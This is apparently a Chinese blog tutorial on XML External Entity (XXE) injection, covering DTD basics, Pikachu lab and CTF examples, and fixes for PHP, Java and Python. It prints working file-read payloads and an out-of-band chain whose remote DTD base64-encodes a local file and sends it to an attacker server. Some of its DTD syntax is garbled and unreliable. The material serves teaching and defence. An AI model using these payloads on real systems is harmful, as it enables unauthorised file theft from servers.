XXE漏洞

XXE:XML External Entity 即外部实体注入,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。其实XML是一门语言,类似于html,但是后来主要用xml的文档格式来传输数据,但是现在比较新的系统,大家之前传输数据用的是json了。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。如果你测试用的php中解析xml用的libxml的版本大于了2.9.1,为了模拟漏洞,那么可以通过手动指定LIBXML_NOENT选项开启xml外部实体解析功能。


详细教程:https://www.w3school.com.cn/xml/xml_tree.asp

文档结构

简单了解即可,不需要细看,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   //xml声明、版本、编码
<!DOCTYPE root system "http://www.XXXX.com/file"[   //定义DTD文件,格式为:root指定根
节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。


<!ELEMENT root (other)>   // 元素声明,声明xml中包含的元素,声明中需要指定元素名称
(root、other等)和元素类别、内容等


<!ELEMENT to (#PCDATA)>   // <!--定义to元素为”#PCDATA”类型-->


<!ELEMENT generalentity "content" > //ELEMENT标签用于声明实体,关于实体的定义如下:“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量,xml解析器解析xml
文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generalentity,内容为content

<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file">   //定义参数实体,格式
为:<!ELEMENT % 参数名称 参数内容>


引用格式:%参数名称

参数实体只能在DTD文件中引用,内部DTD文件的参数引用只能出现于DTD标签可出现的位置,外部DTD文件参数实体的引用可以出于DTD标签内容,比如:<!ELEMENT % "%another">


%extendentity; //引用参数外部实体

DTD的基础知识

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

参考链接: http://www.w3school.com.cn/dtd/index.asp

对于安全人员来讲,就认识下面的几行代码即可。

首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。

基本的PAYLOAD结构:

上面的fles:///etc/passwd,这是直接读取服务器的passwd文件内容。最后XML部分就是调用DTD的foo功能,也就是调用xxe,取出数据然后显示,基本上任何xxe的攻击代码都是这么几部分。

使用DTD实体的攻击方式 :
DTD 引用方式(简要了解):
1. DTD 内部声明

`<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>  
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

示例

先看看phpinfo

phpstudy,我们使用的php版本中。libxml可能版本大于了2.9.1,所以我们切换一下php版本

再看版本

然后看一下pikachu中的xxe_1.php源代码,这个文件中有xxe攻击payload示例代码,就下面这几句

对于用户提交的xml数据,负责接收和执行的代码也在上述文件中,下面的位置

好,pikachu测试一下
payload如下:而且你需要掌握的代码就这几行,大家最好能够背下来。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
   <!ENTITY f SYSTEM "file:///C://1.txt">
]>
<x>&f;</x>

我们先到目标主机中创建一个1.txt

效果

如何找xxe漏洞

1.查看请求头

可以对pikachu的示例进行抓包,看效果

accept请求头里面最好能够接受xml。

2.抓包修改数据类型

这里我们看一个真实的ctf考试题示例,将json数据改为xml数据,完成xxe攻击
详细可见:https://xz.aliyun.com/t/3357
jarvisoj上的一道题目API调用
这道题的题目说明是 :请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

分析数据包

是一个json数据提交,修改数据发现可以被解析,修改为xml

XXE攻击情况

进行xxe攻击的时候,有两种情况:有回显和无回显
有回显就是请求有响应数据能看到
无回显就是看不到响应数据

我给大家准备了工具,分别来演示一下这两种情况

1.有回显
这种的比较简单
payload如下

<?xml version = "1.0"?> <!DOCTYPE note [     <!ENTITY hacker SYSTEM
"file:///c:/windows/win.ini" > ]> <name>&hacker;</name>

效果

这种就属于有回显,直接将文件数据展示出来了。

2.无回显
没有信息返回,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容
以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。分如下两步
<?xml version = "1.0"?> <!DOCTYPE note [     <!ENTITY hacker SYSTEM
"file:///c:/windows/win.ini" > ]> <name>&hacker;</name>
a.建立*.dtd,比如我创建了一个test.dtd文件,内容如下,就放我我们上面目标主机的xxe2文件夹里面
了。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///c:/1.txt"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?
p=%file;'>">

这两句代码的意思是通过base64编码的方式读取文件内容,然后通过请求目标主机的ip地址加上一个不存在的路径或者参数数据,让它报错,%file就是用上面第一句获取到的数据

b.xml调用

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

效果:保存信息里面就有我们要读取的文件数据

如果无报错的话,需要访问接收请求的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send以后(因为实体的值中不能有 %, 所以将其转成html实体编码 % ),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

XXE漏洞修复与防御

1.提高版本
libxml  >2.9.0

2.代码修复:
PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

3.手动黑名单过滤(不推荐)
过滤关键词: <!DOCTYPE 、 <!ENTITY SYSTEM 、 PUBLIC

### XXE漏洞原理 XXE(XML External Entity)漏洞是一种由于应用程序在解析XML输入时允许引用外部实体而导致的安全漏洞。XML是一种结构化文档格式,广泛用于数据存储和传输,其中“外部实体”是XML标准中允许的一种特性,用于引用外部资源。然而,当应用程序未正确配置XML解析器以禁用外部实体时,攻击者可以构造恶意XML文档,利用该特性读取服务器上的文件、发起服务器端请求伪造(SSRF)、造成拒绝服务(DoS)等攻击[^1]。 具体而言,XXE漏洞的攻击通常发生在应用程序接受用户输入并将其解析为XML文档的场景中。攻击者通过在XML文档中插入恶意定义的外部实体,使得XML解析器在解析过程中访问攻击者指定的资源。例如,攻击者可以构造一个外部实体,指向服务器上的敏感文件(如`/etc/passwd`),从而实现任意文件读取的目的[^2]。 ### XXE漏洞防护方法 为了有效防止XXE漏洞的发生,可以从以下几个方面入手: 1. **禁用外部实体** 在处理XML输入时,应禁用所有外部实体引用。不同的编程语言提供了相应的配置选项来实现这一点。例如,在Java中使用`DocumentBuilderFactory`时,可以通过设置`FEATURE_SECURE_PROCESSING`和禁用`external-general-entities`来防止外部实体注入;在Python中使用`xml.etree.ElementTree`库时,默认情况下不解析外部实体,但若使用`xml.dom.minidom`或`lxml`等库,则需要手动配置以禁用外部实体[^1]。 2. **输入验证和过滤** 对所有XML输入进行严格的验证和过滤,确保其格式正确且不包含任何潜在危险的内容。例如,可以使用白名单机制,仅允许特定的标签和属性,拒绝其他所有内容。此外,还可以对用户输入进行转义处理,防止恶意实体被注入到XML文档中[^1]。 3. **安全配置服务器** 确保服务器和应用程序的配置符合安全最佳实践。例如,在Web服务器上禁用不必要的XML解析功能,限制XML解析器的权限,避免其访问敏感文件或发起外部请求。此外,还可以通过设置防火墙规则,限制XML解析器对外部资源的访问[^1]。 4. **升级解析器版本** 定期更新和升级使用的XML解析器,以确保其具备最新的安全补丁和功能。许多现代解析器已经默认禁用了外部实体,或者提供了更安全的配置选项,因此保持解析器的最新状态是防止XXE漏洞的重要措施。 5. **使用替代数据格式** 在可能的情况下,避免使用XML作为数据传输格式,转而使用更安全的替代方案,如JSON。JSON不支持外部实体,因此天然免疫于XXE攻击[^4]。 ### 示例代码:禁用外部实体(Python) 以下是一个在Python中使用`lxml`库禁用外部实体的示例代码: ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False, external_entities=False) xml_data = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>" try: tree = etree.fromstring(xml_data, parser) except etree.XMLSyntaxError as e: print("XML解析错误:", e) ``` 在上述代码中,通过设置`resolve_entities=False`和`external_entities=False`,可以有效禁用外部实体,从而防止XXE攻击。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值